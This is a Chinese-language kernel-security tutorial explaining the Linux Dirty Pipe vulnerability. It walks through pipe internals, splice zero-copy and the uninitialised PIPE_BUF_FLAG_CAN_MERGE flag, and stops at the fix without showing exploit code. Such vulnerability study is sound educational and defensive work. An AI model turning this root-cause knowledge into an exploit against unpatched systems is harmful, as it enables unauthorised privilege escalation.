-
-
PWN入门-17-三打竞态条件漏洞-DirtyPIPE
-
发表于: 1天前 653
-
Dirty Pipe漏洞
跨进程通信
在现代计算机中,进程间内存空间往往是相互隔离的,相互隔离有相互隔离的好处,但这些独立的进程有时候也需要进行沟通,因此跨进程通信的需求就此产生,在Linux中跨进程通信的常见方式有共享内存、管道、消息队列等等。
Dirty Pipe
漏洞就起源与管道。
管道通信的介绍
Pipe在Linux中也可以被称作是管道,是一种非常常见的跨进程通信方式,它的作用是链接写入数据进程和读取数据进程,其中读取进程的数据来源于写入进程。。
比如下面展示两条命令cat
和grep
,它们就通过管道符|
连接在了一起,cat
命令会读取/proc/kallsyms
文件的内容输出到标准输出中,管道符会捕获输出并将输出交给grep
命令,grep
命令会对输出内容进行筛选。
1 2 | cat / proc / kallsyms | grep - w "ksys_write" ffffffffa47609c0 T ksys_write |
grep
命令的输入来自于cat
命令的输出,管道符帮助grep
实现了跨进程通信。对于|
来讲,xx | yy
中的xx
是共享数据的写入端,yy
是共享数据的读取端。
除了Shell提供的管道符之外,GLibC库也提供针对管道的支持,GLibC将pipe
系统调用封装成int pipe(int pipefd[2])
函数。
1 2 3 4 5 6 | Linux内核系统调用: #define __NR_pipe 22 #define __NR_pipe2 293 GLibC库函数: int pipe( int pipefd[ 2 ]) |
其中形参pipefd[2]
代表读写两端,读取端通过pipefd[0]
获取数据,写入端通过pipefd[1]
填充数据。
匿名管道与命名管道
最为常见的匿名管道就是Shell中的|
,匿名管道的特点是只允许父进程产生子进程前创建管道,然后再创建子进程,此时子进程创建过程中会复制父进程的内存空间数据,管道文件的描述当然也在其中,子进程可以直接拿来使用,除了父进程和子进程外没人知道管道的文件描述符,所以称作是匿名管道pipe
。
匿名管道保证数据的传输局限在父子进程的内部,其他进程想要获取管道内的数据就不行了,因此Linux提供命名管道fifo
保障数据传输方案的通用性。
Linux中可以通过mkfifo
或mknod
命令快速的创建fifo
,GLibC也封装了mknodat
函数,让程序通过S_IFIFO
参数创建fifo
。
1 | mknodat(AT_FDCWD, "tmp" , S_IFIFO| 0666 ) |
观察fifo
文件的属性可以发现,通过被用于标记是不是目录的最高位,在这里被标记成了p
,显然p
是不是区分管道文件和普通文件的关键所在。
1 2 | ls - lh tmp prw - r - - r - - 1 astaroth astaroth 0 Dec 4 11 : 19 tmp |
匿名管道的创建
匿名管道属于特殊的文件系统pipe
,pipe
文件系统在系统启动时会进行注册。
1 2 | init_pipe_fs - > register_filesystem(&pipe_fs_type) |
用户态程序发出系统调用后,内核会通过do_pipe2
函数处理匿名管道。
1 2 3 4 5 6 7 8 9 | #define __NR_pipe 22 #define __NR_pipe2 293 sys_pipe - SYSCALL_DEFINE2 pipe sys_pipe2 - SYSCALL_DEFINE2 pipe2 sys_pipe sys_pipe2 - > do_pipe2 |
create_pipe_files
函数会先调用get_pipe_inode
函数创建inode
节点,然后再通过alloc_file_pseudo
函数创建写入端文件,再复制出读取端文件。
回到__do_pipe_flags
函数后,会通过get_unused_fd_flags
函数分别给读写两端分配文件描述符。
完成文件描述符的分配工作之后,会通过audit_fd_pair
更新当前进程的审计成员audit_context
中的文件描述符元素。
最后就是通过fd_install
函数将文件描述符和文件关联起来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | do_pipe2 - > __do_pipe_flags - > create_pipe_files - > get_pipe_inode - > alloc_pipe_info - > inode - >i_mode = S_IFIFO | S_IRUSR | S_IWUSR - > res[ 1 ] = alloc_file_pseudo - > res[ 0 ] = alloc_file_clone - > fdr = get_unused_fd_flags fdw = get_unused_fd_flags - > __get_unused_fd_flags - > alloc_fd - > audit_fd_pair - > __audit_fd_pair - > audit_context - > return current - >audit_context - > context - >fds[ 0 ] = fd1; - > context - >fds[ 1 ] = fd2; - > fd_install(fd[ 0 ], files[ 0 ]) - > fd_install(fd[ 1 ], files[ 1 ]) |
给pipe
创建节点的过程中,有一个很重要的操作就是给i_mode
元素添加S_IFIFO
标志位,这个标志位对于内核和用户态程序而言,是识别管道文件的关键。
从这里可以看到,匿名管道实际上就是利用一种只存在于内存中的伪文件进行通信,读取和写入端可以通过文件描述符,对内存数据进行方便快速的操纵。
内核操作管道的方式
管道文件创建时会指定pipefifo_fops
作为操作接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | get_pipe_inode - > inode - >i_fop = &pipefifo_fops create_pipe_files - > alloc_file_pseudo(......, &pipefifo_fops) - > alloc_file_clone(......, &pipefifo_fops) const struct file_operations pipefifo_fops = { . open = fifo_open, .llseek = no_llseek, .read_iter = pipe_read, .write_iter = pipe_write, .poll = pipe_poll, .unlocked_ioctl = pipe_ioctl, .release = pipe_release, .fasync = pipe_fasync, .splice_write = iter_file_splice_write, }; |
读取操作
管道文件的文件操作初始流程与普通虚文件的流程一致,都会通过f_op->xxx
函数调用对应文件指定的操作函数。
1 2 3 4 5 6 | ksys_read - > vfs_read - > new_sync_read - > iov_iter_ubuf - >call_read_iter - > - > file - >f_op - >read_iter |
首先我们看一下管道文件被读取时的情况,进入pipe_read
函数后会先获取管道文件的信息private_data
,private_data
在节点创建过程中通过alloc_pipe_info
函数进行分配,管道文件信息通过pipe_inode_info
结构体描述。
拿完管道文件信息后,就会将信息暂时上锁,要知道这些信息是内核内部共享的,所以使用前最好先加锁告诉别人这个资源已经被使用了,等使用完后再解锁。
进入for
循环后,会先获取管道文件缓冲区的起始标记head
、结束标记tail
以及缓冲区大小mask
,然后判断缓冲区是否为空,如果不是就会开始读取数据。
读取时pipe_read
函数会先从管道文件信息中获取缓冲区,然后通过copy_page_to_iter
函数向用户态空间复制数据,最后解锁管道文件信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | pipe_read - > struct pipe_inode_info * pipe = filp - >private_data - > __pipe_lock - > for - > head = smp_load_acquire(&pipe - >head) - > tail = pipe - >tail - > mask = pipe - >ring_size - 1 - > !pipe_empty - > struct pipe_buffer * buf = &pipe - >bufs[tail & mask] - > copy_page_to_iter - > tail + + - > if (!pipe_empty(head, tail)) - > countinue - > __pipe_unlock |
管道的缓冲区通过pipe_buffer
结构体描述,这个缓冲区是在创建节点时通过alloc_pipe_info
进行分配的,它会分配pipe_bufs
个pipe_buffer
。在pipe_read
函数的内部使用缓冲区数据时,它总是根据结尾标志在缓冲区内进行索引(tail & mask
)(ring_size
一定是2的n次幂,所以ring_size - 1
的数值就相当于b01...11
,使得&
运算进行时多出的数值会被舍去,在mask
范围内的数值则会全被留下)。
1 2 3 4 5 6 | #define PIPE_DEF_BUFFERS 16 alloc_pipe_info - > unsigned long pipe_bufs = PIPE_DEF_BUFFERS - > pipe - >bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT) - > pipe - >ring_size = pipe_bufs |
通过copy_page_to_iter
函数复制数据时,会先通过iov_iter_is_pipe
检查传入数据的struct iov_iter *i
的类型是不是ITER_PIPE
,对于非splice
方式发出的请求,类型一般都会设置成ITER_UBUF
,此时内核会进入_copy_to_iter
函数内,该函数内部仍会通过iov_iter_is_pipe
辨别splice
,如果不是就会通过iterate_and_advance
宏复制数据,反之则通过copy_pipe_to_iter
复制数据。
1 2 3 4 5 6 7 | copy_page_to_iter - > iov_iter_is_pipe - > copy_page_to_iter_pipe - > _copy_to_iter - > iov_iter_is_pipe - > copy_pipe_to_iter - > iterate_and_advance(i, bytes, base, len , off, copyout(base, addr + off, len ), memcpy(base, addr + off, len )) |
copy_pipe_to_iter
和copy_page_to_iter_pipe
有一些明显的区别。
copy_pipe_to_iter
函数会先进入append_pipe
函数,append_pipe
函数的作用是给缓冲区数据找到物理内存页,这里分成两种情况,一是当前页还存在可以写入的空间,那么就会直接返回当前页,二是当前页空间不足时,就会通过push_anon
分配新的匿名页。
copy_pipe_to_iter
拿到物理页后,会通过memcpy
进行数据复制。
1 2 3 4 5 6 7 8 | copy_pipe_to_iter - > page = append_pipe - > if (offset > 0 && offset < PAGE_SIZE) - > pipe_buf - > push_anon - > alloc_page - > memcpy_to_page - > memcpy |
copy_page_to_iter_pipe
函数会先判断当前的偏移值是不是对应着最后一段数据的偏移值,如果是,就会通过pipe_buf
取出当前的缓冲区数据,然后判断缓冲区数据用的页和当前页是否一致,如果一致就会更新缓冲区信息然后返回。
如果不是最后一段数据就会进入push_page
内,通过pipe_buf
获取当前缓冲区数据并设置,设置中有一个很重要的元素就是设置page
。
1 2 3 4 5 6 7 8 9 10 11 12 | copy_page_to_iter_pipe - > if (offset && i - >last_offset = = - offset) - > pipe_buf - > return &pipe - >bufs[slot & (pipe - >ring_size - 1 )] - > if (buf - >page = = page) - > buf - > len + = bytes - > i - >last_offset - = bytes - > i - >count - = bytes - > return - > push_page - > pipe_buf - > * buf.page = page |
写入操作
与读取对应的还有写操作。
首先pipe_write
函数会检查当前缓冲区队列是否为空,如果不为空且待写入数据的长度不为0,就会尝试判断当前页是否可以容纳新的数据且当前缓冲区数据允许合并新数据(存在PIPE_BUF_FLAG_CAN_MERGE
标志位),如果可以就会将新数据合并进旧数据所在页内。
其中buf->offset
是当前数据在页中的起始地址,buf->len
是当前数据的长度,显然buf->offset
和buf->len
之和offset
是当前数据在页内的结束地址,而chars
则是新数据的长度,如果offset + chars
小于页大小,那么就说明当前页是可以容纳新数据的。
当然可能有人会说页不是全部是空的吗,当然不是,buf->offset
之前的空间都是不可用的。
1 2 3 4 5 6 7 8 9 10 11 12 | pipe_write - > struct pipe_inode_info * pipe = filp - >private_data - > __pipe_lock - > head = pipe - >head - > was_empty = pipe_empty(head, pipe - >tail) - > chars = total_len & (PAGE_SIZE - 1 ) - > if (chars && !was_empty) - > mask = pipe - >ring_size - 1 - > struct pipe_buffer * buf = &pipe - >bufs[(head - 1 ) & mask] - > offset = buf - >offset + buf - > len - > if ((buf - >flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars < = PAGE_SIZE) - > copy_page_from_iter |
如果新数据不能被完整的写入页内,内核就会进入循环对数据进行处理。
进入循环后,第一步做的就是拿到缓冲区数据,然后分配新页并将head
递增1,新head
会表明最新数据的位置,再之后会获取缓冲区数据,将它从用户空间复制到物理页当中。
1 2 3 4 5 6 7 8 9 | pipe_write - > for if !pipe_full - > struct pipe_buffer * buf = &pipe - >bufs[head & mask] - > !tmp_page - > alloc_page - > pipe - >head = head + 1 - > buf = &pipe - >bufs[head & mask] - > copy_page_from_iter |
管道数据的读写操作并不复杂,首先判断tmp_page
是否存在,如果不存在就会分配新页,反之则会使用旧页,拿到可用的物理页后通过copy_page_from_iter
会进行数据的写入操作。
copy_page_from_iter
函数复制数据时,如果发现ITER_PIPE
标志存在就会通过WARN_ON
接口报一个警告信息(可以在dmesg
中看到),反之则通过iterate_and_advance
复制缓冲区数据。
1 2 3 4 5 6 7 | copy_page_from_iter - > while - > _copy_from_iter - > if iov_iter_is_pipe - > WARN_ON - > return - > iterate_and_advance |
管道的缓存页
管道文件的读取和写入过程中都存在一个相似的问题,即物理页的使用问题,都分成使用默认页和自己分配页两种方式,但是读操作和写操作对在是否分配页的检查上有所差别。
先来看一下写操作,一般来讲创建的物理页都会通过put_page
接口释放掉,但如果是匿名页情况就不同了,释放时会先检查物理页是不是存在且被自己独占,如果是就说明页可以被自己任意使用,因此会继续使用该页,反之则会释放掉。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | pipe_buf_release - > ops - >release anon_pipe_buf_ops - > .release = anon_pipe_buf_release pipe_write - > buf - >ops = &anon_pipe_buf_ops; anon_pipe_buf_release - > if (page_count(page) = = 1 && !pipe - >tmp_page) - > pipe - >tmp_page = page - > else - > put_page |
读操作时的情况会更加复杂一下,首先会根据iov_iter_is_pipe
识别ITER_PIPE
标志位。
1 2 3 4 | copy_page_to_iter - > iov_iter_is_pipe - > copy_page_to_iter_pipe - > _copy_to_iter |
ITER_PIPE
标志位只有当splice_read
发生时才会被赋值。
1 2 3 4 5 | .splice_read = generic_file_splice_read generic_file_splice_read - > iov_iter_pipe - > .iter_type = ITER_PIPE |
检测到ITER_PIPE
标志位后会进入copy_page_to_iter_pipe
,此时copy_page_to_iter_pipe
函数会直接使用上层传递过来的页。
如果没有ITER_PIPE
标志位则会进入_copy_to_iter
,_copy_to_iter
函数内还会检查一次ITER_PIPE
标志位(不一定只是copy_page_to_iter
会调用),如果带有ITER_PIPE
标志位则会进入copy_pipe_to_iter
函数,该函数会检查传入的页是否可以容纳数据,如果可以就会使用原来的页,如果不可以就会分配新页再复制数据。
如果_copy_to_iter
函数内不存在ITER_PIPE
标志位,则会直接进行数据复制操作。
iterate_and_advance
从上面我们可以知道,管道经常使用一种名叫iterate_and_advance
的东西进行复制操作,但这是个什么东西呢?
iterate_and_advance
接受7个参数,参数i
对应IO向量struct iov_iter
,参数n
是数据长度,参数base
、参数len
以及参数off
是iterate_and_advance
内部创建的变量,至于参数I
和参数K
可以看作是两个函数调用。
首先从用户空间传上来的数据都会被打上ITER_UBUF
的标志,此时会进入iterate_buf
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #define iterate_and_advance(i, n, base, len, off, I, K) \ __iterate_and_advance(i, n, base, len , off, I, ((void)(K), 0 )) #define __iterate_and_advance(i, n, base, len, off, I, K) { \ if (unlikely(i - >count < n)) \ n = i - >count; \ if (likely(n)) { \ if (likely(iter_is_ubuf(i))) { \ void __user * base; \ size_t len ; \ iterate_buf(i, n, base, len , off, i - >ubuf, (I)) \ } ...... } } |
iterate_buf
会使用函数参数I
,I
一般对应copyin
或copyout
,当从用户空间复制数据到内核空间时会使用copyin
,反之则使用copyout
。
copyin
还是copyout
使用的函数是由架构决定的,比如X86架构就会使用raw_copy_from_user
函数。
1 2 3 4 5 6 7 | copyin - > raw_copy_from_user - > copy_user_generic copyout - > raw_copy_to_user - > copy_user_generic |
raw_copy_from_user
函数最终会使用copy_user_generic
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | static __always_inline __must_check unsigned long copy_user_generic(void * to, const void * from , unsigned len ) { unsigned ret; alternative_call_2(copy_user_generic_unrolled, copy_user_generic_string, X86_FEATURE_REP_GOOD, copy_user_enhanced_fast_string, X86_FEATURE_ERMS, ASM_OUTPUT2( "=a" (ret), "=D" (to), "=S" ( from ), "=d" ( len )), "1" (to), "2" ( from ), "3" ( len ) : "memory" , "rcx" , "r8" , "r9" , "r10" , "r11" ); return ret; } |
alternative_call_2
宏是一个用来使用体系结构某某特性的宏,如果CPU拥有特性2就使用特性2,拥有特性1就使用特性1,如果都没有就使用普通方式。
1 2 3 4 5 6 | #define alternative_call_2(oldfunc, newfunc1, feature1, newfunc2, feature2, output, input...) \ asm_inline volatile (ALTERNATIVE_2( "call %P[old]" , "call %P[new1]" , feature1, \ "call %P[new2]" , feature2) \ : output,ASM_CALL_CONSTRAINT \ : [old] "i" (oldfunc), [new1] "i" (newfunc1), \ [new2] "i" (newfunc2), ## input) |
copy_user_generic
复制数据参数为=a =D =S =d
指定,=a
是指定接收返回值的变量,=D
是表明数据的目的地,=S
是表面数据的来源,=d
是指定复制长度。"memory"
给编译器看的,代表这段汇编代码会修改内存,"memory"
后面的寄存器是需要额外使用的寄存器。
这里我们假定通过CPU的特性2进行复制,此时alternative_call_2
使用的函数就是copy_user_enhanced_fast_string
,该函数是一段汇报代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | SYM_FUNC_START(copy_user_enhanced_fast_string) ASM_STAC ALTERNATIVE "cmpl $64, %edx; jb copy_user_short_string" , "", X86_FEATURE_FSRM movl % edx, % ecx 1 : rep movsb xorl % eax, % eax ASM_CLAC RET 12 : movl % ecx, % edx jmp .Lcopy_user_handle_tail _ASM_EXTABLE_CPY( 1b , 12b ) SYM_FUNC_END(copy_user_enhanced_fast_string) |
copy_user_enhanced_fast_string
完成复制操作前后,会通过ASM_STAC
和ASM_CLAC
打开和关闭用户空间的数据访问权限。在X86中,保护用户空间数据访问权限的机制是特权模式访问保护SMAP Supervisor Mode Access Protection
,当内核通过X86_FEATURE_SMAP
检测到SMAP开启后就会使用ASM_STAC
和ASM_CLAC
。
1 2 3 4 5 6 7 8 9 | #define X86_FEATURE_SMAP (9*32+20) #define __ASM_CLAC ".byte 0x0f,0x01,0xca" #define __ASM_STAC ".byte 0x0f,0x01,0xcb" #define ASM_CLAC \ ALTERNATIVE "", __ASM_CLAC, X86_FEATURE_SMAP #define ASM_STAC \ ALTERNATIVE "", __ASM_STAC, X86_FEATURE_SMAP |
rep movsb
是数据复制指令,如果数据复制过程中产生异常就会通过_ASM_EXTABLE_CPY
处理,其中1b
是异常发生处,12b
是异常处理处。
1 | _ASM_EXTABLE_CPY( from , to) |
在iterate_buf
函数的内部,STEP
参数对应的就是I
,在执行STEP
之前,会先设置STEP
需要的形参,然后调用STEP
执行复制操作。
1 2 3 4 5 6 7 8 | #define iterate_buf(i, n, base, len, off, __p, STEP) { \ size_t __maybe_unused off = 0 ; \ len = n; \ base = __p + i - >iov_offset; \ len - = (STEP); \ i - >iov_offset + = len ; \ n = len ; \ } |
有名管道的创建
有名管道与匿名管道的区别就在于,匿名管道是父子进程间共享的伪文件,而有名管道则是一个文件系统中真实存在的特殊文件,所有进程都可以感知它的存在。
有名管道通过mknodat
系统调用进行创建。
1 | #define __NR_mknodat 259 |
进入内核后,内核会通过i_op->mknod
接口找到对应文件系统的节点创建函数。
1 2 3 4 5 | sys_mknodat - > do_mknodat - > case S_IFIFO - > vfs_mknod - > i_op - >mknod |
这里以ext4
文件系统作为示例进行分析。ext4
文件系统会通过__ext4_new_inode
在磁盘上创建一个真实的文件,如果检查发现创建的节点没有问题,就会通过init_special_inode
,该函数的主要作用是指定节点的操作函数,这里检查发现用户态程序提交的参数是S_FIFO
时,就会设置通过pipefifo_fops
操作文件。
1 2 3 4 5 6 | ext4_mknod - > ext4_new_inode_start_handle - > !IS_ERR(inode) - > init_special_inode - > if S_ISFIFO(mode) - > inode - >i_fop = &pipefifo_fops |
对于有名管道来讲,管道文件信息的创建是在文件打开时创建的。
1 2 3 4 5 | pipefifo_fops - > . open = fifo_open fifo_open - > alloc_pipe_info |
管道的缓冲区
从上面可以看出,对于内核来讲,管道的信息被存储在pipe_inode_info
结构体内,该结构体中的head
成员和tail
成员记录着缓冲区数据队列的起始位置,在队列中越新的数据在队列中的排名越靠后,显然管道数据是遵循先进先出的原则。
管道信息pipe_inode_info
中的bufs
成员管理着缓冲区数据。
1 2 | pipe_inode_info - > struct pipe_buffer * bufs |
bufs
是一个数组,数组元素的个数是PIPE_DEF_BUFFERS
决定的。
1 2 3 | alloc_pipe_info - > unsigned long pipe_bufs = PIPE_DEF_BUFFERS - > kcalloc(pipe_bufs, sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT) |
每个缓冲区数据都通过pipe_buffer
进行管理,其中page
成员是缓冲区数据对应的物理页,offset
成员指向数据在页内的偏移地址,len
成员记录着未被读取过的数据长度。
1 2 3 4 5 6 7 | struct pipe_buffer { struct page * page; unsigned int offset, len ; const struct pipe_buf_operations * ops; unsigned int flags; unsigned long private; }; |
零复制技术
在Linux中数据的复制操作一般指的都是将内存区域A中是数据复制到内存区域B中,这样做会消耗CPU资源且占用内存带宽,为了减少不必要的内存消耗,Linux系统推出了零复制Zero-Copy
的概念,旨在减少数据复制过程中产生的消耗。
零复制只是一种设想,凡是可以减少复制开销的都可以算作是零复制技术,零复制技术在不同场景下的具体实现有所差异。
下面会介绍文件访问情境下的零复制技术。
文件与零复制
用户态程序最常使用的访问文件方式就是缓冲区IO、文件映射、直连IO、直接访问四种方式,它们的区别在于访问的层级不同。
1 | 用户态程序 < - > 虚拟文件系统 < - > 页缓存 < - > 块IO层 < - > 磁盘文件 |
缓冲区IO:缓冲区IO与虚拟文件系统进行交互,通过
open
、write
、read
等系统调用,提交请求给对应的文件系统,文件系统中的接口会将数据更新到页缓存内,或者从页缓存内获取数据,页缓存中的数据需要与磁盘文件进行同步。页缓存:从缓冲区IO的描述中,可以知道页缓存是缓冲区IO的一部分。在这里我们要清楚一件事情,就是CPU对不同外设的访问速度,第一快是CPU内部的寄存器和缓存,第二快的内存,最慢的就是磁盘文件。如果程序的每一个读写操作都直接作用在磁盘文件上,就会导致CPU以较慢的速度读取或写入数据,为了缓解这一问题,Linux内核将用户态程序对文件中数据的访问移动到内存中进行,加快访问速度,然后定期更新到磁盘文件内,减少CPU访问磁盘的次数。
文件映射:文件映射会将磁盘文件映射到物理页上,用户态程序可以直接操作页缓存对磁盘文件中的数据进行读取或修改。
直连IO:页缓存通过块IO层与磁盘文件进行交互,而直连IO的意思就是直连块IO层,直接向磁盘文件读写数据。
直接访问:直接访问指的是用户态程序与存储设备间直接进行数据交互。
在一般情况下,用户态程序会通过open
、write
、read
等方式进行缓冲区IO操作,在这种机制下,一段数据的写入需要经过4步,第一步是用户态程序中数据的本地存放(比如栈或堆),二是通过GLibC接口向内核发出写申请,三是内核申请物理页,四是内核向物理页中复制数据,在这个过程中需要消耗内核不小的精力,特别是操作量还不小的时候。
既然缓冲区IO的第一目的地都是物理内存页,先进行的也都是内存访问操作,那么有没有一种方案直接将文件放在内存上,然后用户态程序通过操作虚拟内存实现文件数据的读写呢?
当然可以,上方的文件映射就可以达到这一目的,因此文件映射就是一种零复制技术。
跨文件访问与零复制
对于多文件间数据交互的场景来讲,可以每个文件都映射一次,将对磁盘文件的操作转换为对内存的操作,最后由用户态程序通过memcpy
完成数据的复制操作。
对于管道来讲不管是通过iterate_and_advance
复制数据还是给管道缓冲区更新页信息,都不会使用memcpy
这种易于产生开销的函数进行复制,为了提高跨文件间数据交互效,splice
系统调用就此产生。
1 | #define __NR_splice 275 |
这个系统调用的作用是实现文件与管道间的数据复制,将用户空间和内核空间的数据交互转变成内核空间内部的数据交换。
GLibC将它封装成了函数splice
,调用者需要提供读取端和写入端文件。
1 2 3 | ssize_t splice( int fd_in, off64_t * _Nullable off_in, int fd_out, off64_t * _Nullable off_out, size_t len , unsigned int flags); |
do_splice
函数会先通过get_pipe_info
函数根据文件尝试获取pipe
信息,当文件是管道时,f_op
会被设置成pipefifo_fops
,且管道文件创建时会通过alloc_pipe_info
函数设置private_data
元素,get_pipe_info
函数也会先通过f_op
和private_data
辨别文件是不是管道成员,如果不是就返回空指针。
假如文件是管道文件,还会根据for_splice
是否为真检查监视队列信息,如果启用了监视队列的功能那么get_pipe_info
函数也会返回空指针,反之则正常返回。
当通知机制存在时,管道中的信息就不劳系统调用操心了。
1 2 3 4 5 6 7 8 9 10 11 12 13 | splice - > __do_splice - > do_splice - > get_pipe_info - > struct pipe_inode_info * pipe = file - >private_data - > if ( file - >f_op ! = &pipefifo_fops || !pipe) - > return NULL - > if (for_splice && pipe_has_watch_queue(pipe)) - > return NULL - > return pipe - > splice_pipe_to_pipe - > do_splice_from - > splice_file_to_pipe |
do_splice
会使用get_pipe_info
获取读写两端的信息,这时分成三种情况,一是两端都是管道,二是写入端是管道但读取端不是,三是读取端是管道但写入端不是。
从管道读取数据写入到文件
先来看一下管道读取到文件的情况,它会通过文件系统指定的splice_write
进行写操作。
1 2 3 | if (ipipe) - > do_splice_from - > out - >f_op - >splice_write |
splice_write
成员一般对应着iter_file_splice_write
。
iter_file_splice_write
函数会先根据待写入数据长度sd.total_len
陷入循环中。
进入循环后先通过splice_from_pipe_next
函数获取数据,splice_from_pipe_next
函数内部只要管道队列是空的就会一直陷在循环内,返回非零值代表正确获取到数据。
获取到数据后,会进入for
循环向数组array
内添加待写入数据信息。
构建好数据数组后,通过iov_iter_bvec
函数将数组变成IO向量iov IO Vector
信息,然后通过vfs_iter_write
函数写入到文件内,vfs_iter_write
函数最终会借助文件系统的write_iter
接口写入到页缓存内(write_iter
接口在上方分析过,只不过这里使用的是实际文件的文件系统接口,而不pipefs
文件系统的接口)。
最后进入while
循环内部,清空已经写入的管道数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | iter_file_splice_write - > int nbufs = pipe - >max_usage - > struct bio_vec * array = kcalloc(nbufs, sizeof(struct bio_vec), GFP_KERNEL) - > while (sd.total_len) - > splice_from_pipe_next - > while (pipe_empty(pipe - >head, pipe - >tail)) - > if (ret < = 0 ) - > break - > left = sd.total_len - > for - > struct pipe_buffer * buf = &pipe - >bufs[tail & mask] - > size_t this_len = buf - > len - > this_len = min (this_len, left) - > array[n].bv_page = buf - >page - > array[n].bv_len = this_len - > array[n].bv_offset = buf - >offset - > left - = this_len - > iov_iter_bvec - > vfs_iter_write - > do_iter_write - > do_iter_readv_writev - > call_write_iter - > file - >f_op - >write_iter - > while |
对于ext4文件来讲,write_iter
接口最终会调用iterate_and_advance
函数进行复制。
1 2 3 4 5 | ext4_file_write_iter - > ext4_buffered_write_iter - > generic_perform_write - > copy_page_from_iter_atomic - > iterate_and_advance |
从文件读取数据写入到管道
再来看一下管道读取到文件的情况,它会通过文件系统指定的splice_write
进行写操作。
1 2 3 | splice_file_to_pipe - > do_splice_to - > in - >f_op - >splice_read |
splice_read
成员一般对应着generic_file_splice_read
。
generic_file_splice_read
函数会先调用iov_iter_pipe
将标志位设置成ITER_PIPE
,通过通过文件系统的read_iter
接口从文件中读取数据到管道内(read_iter
接口在上方分析过,只不过这里使用的是实际文件的文件系统接口,而不pipefs
文件系统的接口)。
1 2 3 4 | generic_file_splice_read - > iov_iter_pipe - > call_read_iter - > file - >f_op - >read_iter |
对于ext4文件系统来讲,读取操作最终会落实到filemap_read
,该函数会先通过filemap_get_pages
获取页缓存,然后将页缓存交给copy_page_to_iter
读取。
1 2 3 4 5 6 | ext4_file_read_iter - > generic_file_read_iter - > filemap_read - > filemap_get_pages - > copy_folio_to_iter - > copy_page_to_iter |
由于ITER_PIPE
标志已经存在,所以copy_page_to_iter
函数会调用copy_page_to_iter_pipe
将文件对应页缓存上的数据复制到管道内,这里的复制数据操作上面提到过,它会直接让管道的缓冲区数据复用文件的页缓存,从而不产生复制操作。
1 2 3 | copy_page_to_iter - > iov_iter_is_pipe - > copy_page_to_iter_pipe |
从管道读取到管道
最后一种情况就是管道读取到管道,这种情况下数据的复制操作会简单些,它会不管从输入端和输出端获取缓冲区数据,然后将输入端数据交换到输出端实现数据的复制。
复制操作只在管道文件写入到文件fd_b
时发生一次,文件fa_b
读取到管道文件时不会产生复制操作,从管道的读取端。
1 2 3 4 5 | splice_pipe_to_pipe - > while - > ibuf = &ipipe - >bufs[i_tail & i_mask] - > obuf = &opipe - >bufs[o_head & o_mask] - > * obuf = * ibuf |
splice的示例
splice
在Linux用户态程序的基本使用如下所示,它通过管道将文件fd_a
中的内容复制到文件fd_b
内,复制过程中只发生两次系统调用。
1 2 3 4 5 6 | int pipe_fd[ 2 ], fd_a, fd_b; pipe(pipe_fd); splice(fd_a, NULL, pipefd[ 1 ], NULL, 4096 , SPLICE_F_MOVE|SPLICE_F_MORE); splice(pipefd[ 0 ], NULL, fd_b, NULL, 4096 , SPLICE_F_MOVE|SPLICE_F_MORE); |
PIPE_BUF_FLAG_CAN_MERGE标志
在使用splice
时进行读写时,管道缓冲区会指向数据的所在物理页,而不发生复制行为。这个页不管是外来的还是自造的,只要有PIPE_BUF_FLAG_CAN_MERGE
标志就是允许写入的。
1 2 3 4 | pipe_wirte - > if (buf - >flags & PIPE_BUF_FLAG_CAN_MERGE) - > copy_page_from_iter - > iterate_and_advance |
PIPE_BUF_FLAG_CAN_MERGE
标志的设置逻辑是是否使用直连IO读写数据。
当pipe_write
向管道写入数据时,如果发现文件不会通过直连IO的方式进行读写(通过O_DIRECT
标志位辨别),那么就会给管道缓冲区打上PIPE_BUF_FLAG_CAN_MERGE
的标签。
1 2 3 4 5 6 7 | is_packetized - > return ( file - >f_flags & O_DIRECT) ! = 0 ; if (is_packetized(filp)) buf - >flags = PIPE_BUF_FLAG_PACKET; else buf - >flags = PIPE_BUF_FLAG_CAN_MERGE; |
只要管道缓冲区中的PIPE_BUF_FLAG_CAN_MERGE
标志位一天未被清除,内核都会认为管道缓冲区指向的页是可以写的。
漏洞为何产生?
从目前的状况来看,PIPE_BUF_FLAG_CAN_MERGE
标志位的存在很可能就是漏洞产生的根源所在,这个标志位在内核中并不是一直存在的,下方的提交编号展示了该标志位引入的时间,以及引入的原因。
1 | commit:f6dd975583bd8ce088400648fd9819e4691c8958 |
通过浏览提交说明以及代码内容,我们可以知道,管道向已有页内合并数据是早就存在的操作,只不过它不是通过PIPE_BUF_FLAG_CAN_MERGE
标志位进行判断,而是将合并操作anon_pipe_buf_ops
和不可合并操作anon_pipe_buf_nomerge_ops
的实现区分开,只要pipe_buf_can_merge
函数发现ops
对应anon_pipe_buf_ops
就代表可以合并,但如果是对应anon_pipe_buf_nomerge_ops
,那就代表不能合并了。
1 2 3 4 5 6 7 8 | pipe.c: pipe_buf_mark_unmergeable - > if (buf - >ops = = &anon_pipe_buf_ops) - > buf - >ops = &anon_pipe_buf_nomerge_ops pipe_buf_can_merge - > return buf - >ops = = &anon_pipe_buf_ops |
该次提交修改的文件还有splice.c
,从该文件中的改动可以看到,pipe_buf_mark_unmergeable
操作本身已经存在,说明Linux内核开发者们并没有忽略数据向已有页合并带来的安全问题,同时也随着补丁取消PIPE_BUF_FLAG_CAN_MERGE
标志位的操作,从这个角度上看,合并写的安全问题应该是不存在的啊!
1 2 3 4 | splice.c: - pipe_buf_mark_unmergeable(obuf); + obuf - >flags & = ~PIPE_BUF_FLAG_CAN_MERGE; |
被修复的漏洞
但是Dirty Pipe
漏洞又是怎么出现的呢?
在当前内核中,Dirty Pipe
漏洞是已经被修复的。
1 2 | uname - r 6.1 . 0 - 28 - amd64 |
漏洞的修复由两个部分组成。
它在copy_page_to_iter_pipe
和push_pipe
处添加了flags = 0
的设置。
假如没有这个设置,又会变成什么情况呢?
